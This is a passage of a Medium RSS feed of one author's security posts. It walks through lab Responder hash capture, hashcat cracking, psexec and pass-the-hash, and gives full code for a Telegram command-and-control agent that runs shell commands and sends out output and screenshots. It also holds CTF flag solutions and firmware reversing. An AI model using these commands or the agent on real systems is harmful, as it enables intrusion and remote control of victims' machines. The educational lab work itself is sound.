to see what we get. As soon as the Windows victim hit enter on that typo, our Responder terminal lit up like a Christmas tree! Yay!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xBWV7JKjqVxzI3Wq4-9Zog.png" /></figure><p>Looking at the output, we can see exactly how the trap went down. Responder detected the broadcast queries for dc11 coming from the victim IP 10.1.16.2 and shot back a stream of <strong>&quot;Poisoned answers.&quot;</strong></p><p>The victim machine fell for it hook, line, and sinker, handing over its authentication details over SMB. Responder successfully extracted the target user’s details:</p><ul><li><strong>Username:</strong> structureality\Jaime</li><li><strong>Hash Type:</strong> NTLMv2-SSP</li><li><strong>The Actual Hash:</strong> That massive block of orange text starting with Jaime::structureality:...</li></ul><h3>Why You CANNOT “Pass” This Hash!</h3><p>This is the exact moment where a lot of cybersecurity students lose marks on exams or get stuck during labs. You look at that beautiful, long orange hash in your terminal and think: “Awesome! I have a hash. Let’s throw it into an Impacket script and Pass-the-Hash to take over the machine!”</p><p>Do not do this. If you try to use this exact hash for a Pass-the-Hash attack, it will fail miserably.</p><h4>Why? Because NetNTLMv2 ≠ NTLM</h4><p>What we just captured on the wire is a <strong>NetNTLMv2 hash</strong> (sometimes called an NTLMv2 challenge-response token). It is <strong>not</strong> the raw password hash stored inside the Windows system memory. Instead, it’s a temporary cryptographic mathematical puzzle.</p><p>When the victim connected to our fake server, our server sent them a unique, random string of numbers called a <strong>“Challenge.”</strong> The victim took their real password hash, combined it with that random challenge, ran it through a math algorithm and sent the result back to us.</p><p>Because that hash is tied to a one-time challenge unique to <em>our</em> Kali machine, you cannot just grab it and “pass” it to another server. The other server will look at the math, realize the challenge doesn’t match, and kick you out.</p><p>To do anything useful with this specific NetNTLMv2 hash, you have two options:</p><ol><li><strong>Crack it offline:</strong> Shove it into a tool like Hashcat to guess the plaintext password.</li><li><strong>Relay it:</strong> Feed it live into a tool like ntlmrelayx to pass it to a <em>different</em> machine on the network that has SMB signing disabled.</li></ol><h4>Step 4: Cracking the NetNTLMv2 Hash</h4><p>Let’s try the cracking route. If you have a fast GPU or a weak password policy in your lab, you can throw that captured NetNTLMv2 hash into <strong>Hashcat</strong> using mode -m 5600:</p><pre>hashcat -m 5600 /usr/share/responder/logs/SMB-NTLMv2-SSP-10.1.16.2.txt --show</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Czrfa7926k3VBpFTUP4vRw.png" /></figure><p>The math checks out, and Hashcat spits out the plaintext password at the very end of that massive string: <strong>Pa55w0rd!</strong>.</p><h4>Step 5: Going Full SYSTEM with psexec</h4><p>Once you have a cracked plaintext password, you don’t even need to stay restricted to the user’s normal privileges if that user happens to have administrative rights. We can throw the plaintext password directly into Impacket’s psexec.py tool:</p><pre>python3 /usr/share/doc/python3-impacket/examples/psexec.py jaime:&#39;Pa55w0rd!&#39;@10.1.16.2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eNc-C3W9_6VgrDz8rgjVKA.png" /></figure><p>Unlike other tools that execute commands semi-interactively, psexec.py connects to the target machine&#39;s <strong>ADMIN$ share</strong>, uploads an executable file, and talks to the Windows <strong>Service Manager</strong> (SVCManager) to register a brand-new Windows service. When that service starts, it grants us a shell.</p><p>We went from catching a network broadcast typo to cracking a password, and now we are <strong>nt authority\system</strong>—the absolute highest level of privilege on a Windows machine.</p><h3>Act 2: Pass-the-Hash (PtH)</h3><p>But what if Jaime had a 30-character password that would take 400 years to crack? That’s where our second attack, <strong>Pass-the-Hash</strong>, saves the day.</p><p>Let’s change scenarios. Imagine we used another exploit to log into a workstation, escalated our privileges to Local Administrator and dumped the local <strong>SAM database</strong> or the <strong>LSASS process memory</strong>.</p><p>When you dump local Windows credentials, you don’t get NetNTLMv2 challenge-response tokens. Instead, you get the <strong>raw, static NTLM hashes</strong> stored by the operating system. Because this is a static NTLM hash used by the local Windows architecture for session creation, we <strong>can</strong> pass it directly over the network to authenticate to other machines without knowing a single character of the plaintext password.</p><p>Let’s convert Jaime’s cracked password (Pa55w0rd!) into its raw static NTLM equivalent using a quick Python line:</p><pre>python3 -c &quot;import hashlib,binascii; print(binascii.hexlify(hashlib.new(&#39;md4&#39;, &#39;Pa55w0rd!&#39;.encode(&#39;utf-16le&#39;)).digest()).decode())&quot;</pre><p>This gives us Jaime’s static NTLM hash: dae57d78fec919471799ce0fae8236b9.</p><p>Now, we run our Impacket command using <strong>Jaime’s</strong> username and his real, static NTLM hash. Notice that we leave a colon : in the hash parameter to indicate that the legacy LM hash field is blank:</p><pre>impacket-wmiexec -hashes :dae57d78fec919471799ce0fae8236b9 jaime@10.1.16.2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AY1OepfD4GiQq-Wb9MpMIw.png" /></figure><p>Look at that!</p><pre>[*] SMBv3.0 dialect used<br>[!] Launching semi-interactive shell - Careful what you execute<br>C:\&gt; whoami<br>structureality\jaime</pre><p>Notice what <em>didn’t</em> happen here. We never typed Pa55w0rd!. Windows didn&#39;t ask us for a token or decrypt an offline challenge. It simply looked at the static NTLM hash we passed over, checked it against its internal authorization parameters, and granted us a remote command shell.</p><h3>How Do We Stop Both?</h3><p>A great offensive write-up is nothing without a solid defensive section. Let’s give the blue team some actionable advice on how to mitigate these completely different security risks.</p><h4>1. Defending Against Responder</h4><p>Since Responder relies on legacy, noisy broadcast protocols when standard DNS fails, the fix here is straightforward: <strong>Kill the protocols.</strong></p><ul><li><strong>Disable LLMNR:</strong> Go to your Local Group Policy Editor (gpedit.msc) &gt; Computer Configuration &gt; Administrative Templates &gt; Network &gt; DNS Client. Enable the policy <strong>&quot;Turn off Multicast Name Resolution.&quot;</strong></li><li><strong>Disable NBT-NS:</strong> Go to your Network Adapter settings &gt; IPv4 Properties &gt; Advanced &gt; WINS tab and select <strong>“Disable NetBIOS over TCP/IP.”</strong></li><li><strong>Turn on SMB Signing:</strong> Ensure your servers require SMB signing. This prevents attackers from performing <em>NTLM Relay</em> attacks with the hashes they catch on the wire.</li></ul><h4>2. Defending Against Pass-the-Hash</h4><p>Because Pass-the-Hash relies on an attacker <em>already</em> having local administrative access to scrape static hashes out of memory or registry hives, the strategy here is all about limiting credential reuse and lateral movement.</p><ul><li><strong>Implement LAPS:</strong> Use Microsoft’s <strong>Local Administrator Password Solution (LAPS)</strong>. This ensures every single machine in the network has a completely unique, randomized local administrator password. If an attacker passes a local admin hash from workstation A, it won’t work on workstation B.</li><li><strong>Migrate to Kerberos:</strong> Ensure legacy NTLM authentication protocols are restricted or disabled entirely across the domain in favor of Kerberos, which relies on time-sensitive tickets rather than reusable static hashes.</li></ul><h3>Final Thoughts</h3><p>To lock down the core message, leave yourself with this simple mental cheat sheet:</p><ul><li><strong>Responder:</strong> A <strong>Man-in-the-Middle</strong> attack. It listens for name resolution failures over the network wire and tricks a target into sending a challenge-response string (<strong>NetNTLMv2</strong>). <em>You must crack or relay this.</em></li><li><strong>Pass-the-Hash:</strong> A <strong>Lateral Movement</strong> technique. It requires prior local access to steal a raw, static cryptographic representation of a password (<strong>NTLM</strong>) out of system storage. <em>You can pass this immediately to authenticate elsewhere.</em></li></ul><p>Thanks for reading ❤</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e06a44c59c45" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What I Learned About SSL Certificate Security Through Nmap Scanning]]></title>
            <link>https://medium.com/@ssi51/what-i-learned-about-ssl-certificate-security-through-nmap-scanning-741617f91c04?source=rss-1faeab82c90d------2</link>
            <guid isPermaLink="false">https://medium.com/p/741617f91c04</guid>
            <dc:creator><![CDATA[Sarah]]></dc:creator>
            <pubDate>Fri, 22 Aug 2025 06:27:04 GMT</pubDate>
            <atom:updated>2025-08-22T06:27:04.671Z</atom:updated>
            <content:encoded><![CDATA[<p>A journey from basic port scanning to understanding the hidden dangers of self-signed certificates.</p><h3>Introduction</h3><p>This is what I learned from my HTB practices and it completely changed how I think about SSL certificate security. What started as a simple nmap scan to find open ports turned into a deep dive into SSL/TLS certificates and a shocking realization about why even encrypted HTTPS connections can be dangerous.</p><p>If you’ve ever wondered what those SSL certificate warnings in your browser really mean, or why “encryption” doesn’t always equal “security,” this post is for you.</p><h3>Finding SSL Services</h3><p>During my HTB practice session, I was working on reconnaissance of a target machine. After discovering several open ports with a basic nmap scan, I noticed multiple SSL-enabled services running on different ports:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xAI2YpQwLP2NKhFTUzbLEA.png" /><figcaption>What exactly were these SSL certificates telling me about the target?</figcaption></figure><h3>Extracting SSL Certificate Information</h3><p>To dig deeper into these SSL services, I used nmap’s SSL scripts:</p><pre>nmap --script ssl-cert -p 443,8000,8001,8889 &lt;target&gt;</pre><h4>Port 443 (Main Website):</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kFi042oHTFpXZ11Vc6yG1A.png" /></figure><h4>Ports 8000, 8001, 8889 (Velociraptor Services):</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h3bR0bu49o3j9dkmuejisA.png" /></figure><h3>Understanding SSL/TLS Certificates: The Basics</h3><p>Before we dive into why this discovery was significant, let me explain what I learned about SSL/TLS certificates.</p><h3>What Are SSL/TLS Certificates?</h3><p>Think of SSL/TLS certificates as digital ID cards for websites. They serve two critical purposes:</p><ol><li><strong>Authentication</strong> — Proves the server is who it claims to be</li><li><strong>Encryption</strong> — Provides the keys needed to scramble communication</li></ol><h3>The commonName (CN): Website Identity</h3><p>The <strong>commonName</strong> is like the name on an ID card. It tells you which domain or service the certificate is issued for:</p><ul><li>CN=www.google.com — Certificate for Google&#39;s website</li><li>CN=*.example.com — Wildcard certificate for all subdomains of example.com</li><li>CN=VelociraptorServer — Certificate for a service named VelociraptorServer</li></ul><h3>HTTP vs HTTPS: The Security Difference</h3><p><strong>HTTP (Port 80):</strong></p><ul><li>No encryption</li><li>No authentication</li><li>Anyone can read and modify the data</li></ul><p><strong>HTTPS (Port 443):</strong></p><ul><li>Encrypted communication</li><li>Certificate-based authentication</li><li>Protected against eavesdropping and tampering</li></ul><h3>The Shocking Discovery: Self-Signed Certificates</h3><p>Looking at my scan results again, I noticed something crucial that I initially missed:</p><pre>Subject: commonName=cube-case.htb/organizationName=Organization<br>Issuer: commonName=cube-case.htb/organizationName=Organization</pre><p><strong>The Subject and Issuer were identical!</strong> This meant the certificate was <strong>self-signed</strong>.</p><h3>The Trust Chain Problem</h3><p>In legitimate HTTPS:</p><ol><li><strong>Root Certificate Authorities (CAs)</strong> like DigiCert or Let’s Encrypt are trusted by browsers</li><li>CAs verify the identity of website owners before issuing certificates</li><li>Your browser trusts the CA, so it trusts certificates signed by that CA</li></ol><p>With self-signed certificates:</p><ol><li><strong>No trusted third party</strong> validates the server’s identity</li><li>Anyone can create a certificate claiming to be any website</li><li>Your browser has no way to verify authenticity</li></ol><h3>The Man-in-the-Middle Attack Scenario</h3><p><strong>Legitimate Connection:</strong></p><pre>You → [Encrypted] → Real Server (cube-case.htb)</pre><p><strong>Man-in-the-Middle Attack:</strong></p><pre>You → [Encrypted] → Attacker → [Encrypted] → Real Server<br>     ↑                   ↑<br>   Attacker&#39;s         Attacker can see<br>   self-signed        and modify all<br>   certificate        your data</pre><p><strong>The process:</strong></p><ol><li>Attacker intercepts your connection to cube-case.htb</li><li>Attacker presents their own self-signed certificate for cube-case.htb</li><li>Your browser shows a warning (certificate not trusted)</li><li>If you click “Continue” → You’re now sending encrypted data to the attacker</li><li>Attacker can decrypt, read, modify, and re-encrypt everything</li></ol><blockquote>The traffic is still encrypted but you’re encrypting it to the wrong person!</blockquote><h3>Real-World Analogy</h3><p>I like to think of it this way:</p><p><strong>Trusted CA Certificate</strong> = Government-issued driver’s license</p><ul><li>Everyone trusts the government’s validation process</li><li>Hard to forge convincingly</li><li>Widely accepted as proof of identity</li></ul><p><strong>Self-Signed Certificate</strong> = Handwritten note saying “I am John Doe”</p><ul><li>Anyone can write anything they want</li><li>No independent verification</li><li>Easy for someone else to write a fake one</li></ul><h3>Browser Warnings</h3><p>Those scary browser warnings finally made sense:</p><ul><li>“Your connection is not private”</li><li>“This site may be impersonating cube-case.htb”</li><li>“Attackers might be trying to steal your information”</li></ul><p>The browser isn’t saying the encryption is broken but it’s saying <strong>“I can’t verify who you’re encrypting to.”</strong></p><h3>What I Found: Velociraptor Services</h3><p>My scan also revealed that three ports (8000, 8001, 8889) were running <strong>Velociraptor</strong> which is a digital forensics and incident response platform. All three services shared the same certificate issued by “Velociraptor CA.”</p><p>This taught me that:</p><ul><li>Organizations often create their own internal Certificate Authorities</li><li>The same certificate can be used across multiple services</li><li>Self-signed certificates are common in internal/lab environments</li></ul><h3>Key Takeaways</h3><p>From this HTB practice session, I learned several crucial lessons:</p><p>1. HTTPS ≠ Automatically Secure. Just because you see “https://” and a lock icon doesn’t mean you’re safe. The certificate’s trustworthiness matters just as much as the encryption.</p><p>2. Always Check Certificate Warnings. Those browser warnings aren’t just annoying pop-ups but they’re critical security alerts. Don’t click “Continue” unless you’re absolutely certain about what you’re doing.</p><h3>Final Thoughts</h3><p>This HTB practice session transformed my understanding of web security. In cybersecurity, the details matter. What appears secure on the surface (encrypted HTTPS traffic) can hide significant vulnerabilities (unverified server identity) that attackers can exploit. Thanks for reading ❤</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=741617f91c04" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[NETSA CTF Intended Solutions (Hardware Ver)]]></title>
            <link>https://medium.com/@ssi51/netsa-ctf-intended-solutions-hardware-ver-f8a02e05f606?source=rss-1faeab82c90d------2</link>
            <guid isPermaLink="false">https://medium.com/p/f8a02e05f606</guid>
            <dc:creator><![CDATA[Sarah]]></dc:creator>
            <pubDate>Mon, 26 May 2025 00:07:26 GMT</pubDate>
            <atom:updated>2025-05-26T00:07:26.020Z</atom:updated>
            <content:encoded><![CDATA[<p>So my lecturer suggested I contribute some hardware challenges for NETSA Skill Challenge CTF 2025, and I thought “why not?” I’ve always enjoyed working with microcontrollers and messing around with embedded systems, so turning that into a set of CTF problems sounded like a fun challenge.</p><h3>Firmware Reverse (Easy)</h3><p>Description: Pretty easy. Figure out what’s hidden in the firmware.<br>File: FirmwareReverse.ino.hex</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nRKOvctG2yoqHD_VYrNzww.png" /></figure><p>Intel HEX files are not raw binaries; they are a textual representation of binary data. Use avr-objcopy to convert it to a raw binary. Now that we have a binary, we can use strings to extract readable ASCII strings and search for the flag.</p><h3>4 Bytes to Freedom (Easy)</h3><p>Desctiption: Access logs have been wiped. No tags left behind. The only clue? Four strange bytes buried deep in memory.</p><pre>#include &lt;EEPROM.h&gt;<br><br>byte key[4] = {0xAA, 0xBB, 0xCC, 0xDD};<br><br>byte obfuscatedUID[4] = {0x74, 0x16, 0x0C, 0x03};<br><br>void setup() {<br>  Serial.begin(9600);<br><br>  for (int i = 0; i &lt; 4; i++) {<br>    EEPROM.write(i, obfuscatedUID[i]);<br>  }<br><br>  Serial.println(&quot;Obfuscated UID written to EEPROM.&quot;);<br>}<br><br>void loop() {<br>}</pre><p>The naming suggests the UID is <strong>obfuscated</strong> using the key. A common simple obfuscation method is XOR. Let’s try reversing it.</p><p>obfuscatedUID = 0x74, 0x16, 0x0C, 0x03<br>key = 0xAA, 0xBB, 0xCC, 0xDD<br> — — — — — — — — — — — — — — — — — — -<br>realUID = 0xDE, 0xAD, 0xC0, 0xDE</p><p>The flag will be NETSA{DEADCODE}.</p><h3>Trace (Easy)</h3><p>Description: The old ways never die. It doesn’t speak, it doesn’t print, it only blinks.<br>File: Trace.gif</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*pL2lqLZmI4QAglPj.gif" /><figcaption>Trace.gif</figcaption></figure><p>The LED blinks were encoded in Morse code. By watching the visual timing of the blinks, extracted the Morse dots and dashes. Decoding those symbols gave us the flag NETSA{SILENT}.</p><h3>Blink Logic (Medium)</h3><p>Description: You’ve accessed a locked embedded device. Only one 4-key sequence unlocks the system.<br>File: Diagram.json, BlinkLogic.ino.hex</p><p>Brute-force each position independently. For each key press, observe the LED. If it blinks twice, the key is correct at that position. If it blinks once (long), the key is wrong. Try all 16 keys (0–9, A-D, *, #) at each position. Reset after 4 tries (as index resets in code)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*btxgA3VBLCGO1bzAEbUT1Q.png" /></figure><h4>How It Works (Code Summary)</h4><pre>#include &lt;Keypad.h&gt;<br><br>const byte ROWS = 4; <br>const byte COLS = 4; <br><br>char keys[ROWS][COLS] = {<br>  {&#39;1&#39;,&#39;2&#39;,&#39;3&#39;,&#39;A&#39;},<br>  {&#39;4&#39;,&#39;5&#39;,&#39;6&#39;,&#39;B&#39;},<br>  {&#39;7&#39;,&#39;8&#39;,&#39;9&#39;,&#39;C&#39;},<br>  {&#39;*&#39;,&#39;0&#39;,&#39;#&#39;,&#39;D&#39;}<br>};<br><br>byte rowPins[ROWS] = {9, 8, 7, 6}; <br>byte colPins[COLS] = {5, 4, 3, 2}; <br><br>Keypad keypad = Keypad(makeKeymap(keys), rowPins, colPins, ROWS, COLS);<br><br>char secretCode[4] = {&#39;6&#39;, &#39;3&#39;, &#39;0&#39;, &#39;B&#39;};<br>char inputCode[4];<br>int index = 0;<br><br>int redLED = 10;<br>int greenLED = 11;<br><br>void setup() {<br>  Serial.begin(9600);<br>  pinMode(redLED, OUTPUT);<br>  pinMode(greenLED, OUTPUT);<br>  digitalWrite(redLED, LOW);<br>  digitalWrite(greenLED, LOW);<br>}<br><br>void triggerTrap() {<br>  digitalWrite(redLED, HIGH);<br>  delay(500);<br>  digitalWrite(redLED, LOW);<br>  Serial.println(&quot;Access Denied&quot;);<br>}<br><br>void unlockSafe() {<br>  digitalWrite(greenLED, HIGH);<br>  Serial.println(&quot;Safe Unlocked!&quot;);<br>  delay(2000);<br>  digitalWrite(greenLED, LOW);<br>}<br><br>void giveKeyFeedback(char key, int pos) {<br>  if (key == secretCode[pos]) {<br>    // 2 short blinks = correct<br>    digitalWrite(redLED, HIGH);<br>    delay(150);<br>    digitalWrite(redLED, LOW);<br>    delay(150);<br>    digitalWrite(redLED, HIGH);<br>    delay(150);<br>    digitalWrite(redLED, LOW);<br>  } else {<br>    // 1 long blink = wrong<br>    digitalWrite(redLED, HIGH);<br>    delay(400);<br>    digitalWrite(redLED, LOW);<br>  }<br>}<br><br><br>void loop() {<br>  char key = keypad.getKey();<br>  if (key) {<br>    Serial.print(&quot;Key Pressed: &quot;);<br>    Serial.println(key);<br>    inputCode[index] = key;<br><br>    // Give feedback right after key is pressed<br>    giveKeyFeedback(key, index);<br><br>    index++;<br><br>    if (index == 4) {<br>      bool isCorrect = true;<br>      for (int i = 0; i &lt; 4; i++) {<br>        if (inputCode[i] != secretCode[i]) {<br>          isCorrect = false;<br>          break;<br>        }<br>      }<br>      if (isCorrect) {<br>        unlockSafe();<br>      }<br>      index = 0; // Reset input<br>    }<br>  }<br>}</pre><h3>BLE Beacon (Medium)</h3><p>Description: Our ESP32 “CTF-BLE-Challenge” won’t start itself and only one hacker can connect at a time, so queue up, take turns. Look around the room for Sara to get started. You have 10 minutes once you start then it’s someone else’s turn :)<br>Device Given: ESP32<br>Tools Used: nRF Connect, Base64 decoder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k8jNr9gNd6llLBcecM_c3Q.jpeg" /><figcaption>nRF Connect Output</figcaption></figure><p>Using nRF Connect for mobile, scan for nearby BLE devices and located one broadcasting as CTF-BLE-CHALLENGE. Notice that the characteristic value was Base64-encoded. Decoding the Base64 string gives us NETSA{f0und_m3_l0l}.</p><h3>EEPROM Secret (Medium)</h3><p>Description: A binary EEPROM image contains a scrambled flag. Your task is to reverse the obfuscation and extract the secret.<br>File: eeprom.bin</p><p>Use a hex viewer to see the raw bytes. This shows unreadable data like so the content is not plaintext. Since this came from an EEPROM and challenge name hints at secrets, the data might be bitwise encoded. A common method is bit rotation. You can write a Python script to decode it</p><pre>def rotate_left(byte, bits):<br>    return ((byte &lt;&lt; bits) | (byte &gt;&gt; (8 - bits))) &amp; 0xFF<br><br>with open(&quot;eeprom.bin&quot;, &quot;rb&quot;) as f:<br>    data = f.read()<br><br>decrypted = bytes([rotate_left(b, 5) for b in data])  # rotate left by 3 == rotate right by 5<br><br># Extract readable strings<br>print(&quot;&quot;.join(chr(b) if 32 &lt;= b &lt;= 126 else &#39;.&#39; for b in decrypted))</pre><p>The EEPROM data was <strong>obfuscated with 3-bit rotate left</strong>. I decrypted it by rotating each byte right by 5 bits. You’ll get the flag NETSA{r0tate_l3ft}.</p><h3>Final Thoughts</h3><p>I didn’t go all out with super complex hardware challenges this time because honestly, I’m still pretty new to this space. I wanted to make sure the challenges I did create were solid and actually worked the way I intended. There’s definitely a lot more I want to explore like side-channel attacks, glitching, or even logic analyzers but I figured it’s best to start small and build my way up.</p><p>Big thanks to my lecturer for pushing me to do this. It was a cool learning experience and something I’d definitely do again. Also, big shoutout to the challenge creators from ASK Pentest for trusting me to be part of this. Kinda wild to be included :D but I really appreciate the opportunity. Thanks for reading ❤</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f8a02e05f606" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Built My Own Telegram C2 Framework]]></title>
            <link>https://medium.com/@ssi51/how-i-built-my-own-telegram-c2-framework-7cf9e75e0323?source=rss-1faeab82c90d------2</link>
            <guid isPermaLink="false">https://medium.com/p/7cf9e75e0323</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[telegram-bot]]></category>
            <category><![CDATA[projects]]></category>
            <dc:creator><![CDATA[Sarah]]></dc:creator>
            <pubDate>Thu, 24 Apr 2025 13:17:36 GMT</pubDate>
            <atom:updated>2025-04-24T13:17:36.789Z</atom:updated>
            <content:encoded><![CDATA[<p>Ever wondered how red teamers control devices remotely? I built a simple Command and Control (C2) system using Python and Telegram — and here’s how you can too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/0*KtjQOjnPbm6sr09o.jpeg" /><figcaption>How It Works</figcaption></figure><h3>Disclaimer</h3><p>This project is created purely for educational and ethical hacking purposes. All experiments were conducted in my own virtual lab environment, using a Windows VM as the test target, and never on real networks or third-party systems.</p><p>The goal is to understand how Command and Control (C2) communication works from a red-team or cybersecurity learning perspective.</p><p>Do not use this code on machines or networks you don’t own or have permission to test. Unauthorized use of this type of software may be illegal and unethical. Always hack responsibly :)</p><h3>What I Wanted To Build</h3><ul><li>A C2 agent that lives inside a Windows VM</li><li>It receives commands via Telegram</li><li>Executes them and sends output (or screenshots) back</li></ul><p>All controlled through my phone or desktop via a Telegram bot.</p><h3>What You Need</h3><ul><li>Python 3.x (on both host and VM)</li><li>A Telegram account</li><li>A Windows VM for testing</li><li>Python modules: <em>requests, pyautogui, pillow, pyscreeze</em></li></ul><h3>Step 1: Create Your Telegram Bot</h3><ol><li>Open Telegram, search for <a href="http://twitter.com/BotFather">@BotFather</a></li><li>Type /newbot and follow the prompts</li><li>Copy the bot token it gives you</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*leGd4ytAf1zo5cfJBiGscw.png" /><figcaption>Telegram BotFather</figcaption></figure><h3>Step 2: Get Your Telegram User ID</h3><ol><li>Search for <a href="http://twitter.com/UserInfoToBot">@UserInfoToBot</a> in Telegram</li><li>Type /start</li><li>Copy the user ID it gives you</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sWTFT11psBFUznVYPMLCgQ.png" /><figcaption>Telegram UserInfoToBot</figcaption></figure><h3>Step 3: Write the Agent Code</h3><p>Save this as agent.py and run it inside your Windows VM:</p><pre>import requests, subprocess, time, pyautogui, os<br><br>BOT_TOKEN = &#39;your-bot-token&#39;<br>CHAT_ID = &#39;your-user-id&#39;<br><br>def get_command():<br>    r = requests.get(f&#39;https://api.telegram.org/bot{BOT_TOKEN}/getUpdates&#39;).json()<br>    msgs = r[&#39;result&#39;]<br>    return msgs[-1][&#39;message&#39;][&#39;text&#39;] if msgs else None<br><br>def send_output(output):<br>    requests.post(f&#39;https://api.telegram.org/bot{BOT_TOKEN}/sendMessage&#39;, data={<br>        &#39;chat_id&#39;: CHAT_ID, &#39;text&#39;: output[:4000]<br>    })<br><br>def send_screenshot():<br>    screenshot = pyautogui.screenshot()<br>    screenshot.save(&quot;ss.png&quot;)<br>    with open(&quot;ss.png&quot;, &#39;rb&#39;) as f:<br>        requests.post(f&#39;https://api.telegram.org/bot{BOT_TOKEN}/sendPhoto&#39;,<br>                      data={&#39;chat_id&#39;: CHAT_ID}, files={&#39;photo&#39;: f})<br>    os.remove(&quot;ss.png&quot;)<br><br>while True:<br>    try:<br>        cmd = get_command()<br>        if cmd:<br>            if cmd.lower() == &quot;screenshot&quot;:<br>                send_screenshot()<br>            else:<br>                result = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)<br>                send_output(result.decode(errors=&#39;ignore&#39;))<br>        time.sleep(10)<br>    except Exception as e:<br>        send_output(f&quot;Error: {e}&quot;)<br>        time.sleep(10)</pre><h3>Step 4: Control from Telegram</h3><p>Once the agent is running, go to Telegram and try</p><ul><li>whoami</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ctnQk-Wc2ukFYf97PaLpvQ.png" /></figure><ul><li>systeminfo</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N8dOcpCyBDL4ZgmzFxiMIw.png" /></figure><ul><li>screenshot</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h71tydyxs74IGVZn8LdYvw.png" /></figure><h3>Final Thoughts</h3><p>This project taught me how C2 infrastructure works under the hood, how bots can be used as covert channels, and how important it is to understand <strong>what your tools are actually doing</strong>. Thank you for reading ❤</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7cf9e75e0323" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MCC2024 Badge Challenge]]></title>
            <link>https://medium.com/@ssi51/mcc2024-badge-challenge-63ccbe3caba9?source=rss-1faeab82c90d------2</link>
            <guid isPermaLink="false">https://medium.com/p/63ccbe3caba9</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[hardware]]></category>
            <dc:creator><![CDATA[Sarah]]></dc:creator>
            <pubDate>Tue, 03 Dec 2024 09:00:09 GMT</pubDate>
            <atom:updated>2024-12-03T09:00:09.539Z</atom:updated>
            <content:encoded><![CDATA[<p>I’m back again at Malaysia Cybersecurity Camp but this time as an alumni! I just HAD to be there when I saw they include Crash Course to IoT and Hardware Hacking by Fitri and Naja.</p><p>You can read more about the board <a href="https://github.com/najashark/MCC2024-Badge?tab=readme-ov-file">here</a>.</p><h3>Overview</h3><p>The aim for this challenge is to locate the correct coordinate and you’ll receive the flag. It’s really hard to guess coordinates 🙇</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1s_C84WfyOE3EauA6cId_g.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GEZIS7Hlm26EJTT6Ie3E9g.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GGv-bUW40w84K_AwEW8EqA.jpeg" /><figcaption>Cool boards :3</figcaption></figure><p>Naja provided us the firmware so let’s take a look into it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/188/1*Chf29iqVxpov37SM_42gUA.png" /></figure><h3>avr-gdb Approach</h3><p>I start with checking the ELF file using filecommand:</p><pre>mcc2024.ino.elf: ELF 32-bit LSB executable, Atmel AVR 8-bit, version 1 (SYSV), statically linked, with debug_info, not stripped</pre><p>Based on the output, the ELF file is for the <strong>Atmel AVR 8-bit architecture</strong>, commonly used in Arduino boards like the Arduino Uno or Nano. <strong>AVR-GDB</strong> is a debugger specifically designed for <strong>AVR microcontrollers</strong> (e.g., Arduino). It supports AVR-specific features like debugging AVR binaries (ELF files). Let’s start with loads the ELF file into avr-gdb.</p><pre>avr-gdb mcc2024.ino.elf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gf1ba4r4WV-Y4gCQiSHqbQ.png" /></figure><p>To list all functions, use:</p><pre>info functions</pre><p>To disassemble functions, use:</p><pre>disassemble drawGame</pre><p>Output:</p><pre>(gdb) disassemble drawGame<br>Dump of assembler code for function drawGame():<br>   0x00000c5a &lt;+0&gt;:     push    r28<br>   0x00000c5c &lt;+2&gt;:     push    r29<br>   0x00000c5e &lt;+4&gt;:     in      r28, 0x3d       ; 61<br>   0x00000c60 &lt;+6&gt;:     in      r29, 0x3e       ; 62<br>   0x00000c62 &lt;+8&gt;:     sbiw    r28, 0x10       ; 16<br>   0x00000c64 &lt;+10&gt;:    in      r0, 0x3f        ; 63<br>   0x00000c66 &lt;+12&gt;:    cli<br>   0x00000c68 &lt;+14&gt;:    out     0x3e, r29       ; 62<br>   0x00000c6a &lt;+16&gt;:    out     0x3f, r0        ; 63<br>   0x00000c6c &lt;+18&gt;:    out     0x3d, r28       ; 61<br>   0x00000c6e &lt;+20&gt;:    lds     r18, 0x006A     ;  0x80006a &lt;playerX&gt;<br>   0x00000c72 &lt;+24&gt;:    lds     r19, 0x006B     ;  0x80006b &lt;playerX+1&gt;<br>   0x00000c76 &lt;+28&gt;:    lds     r24, 0x0066     ;  0x800066 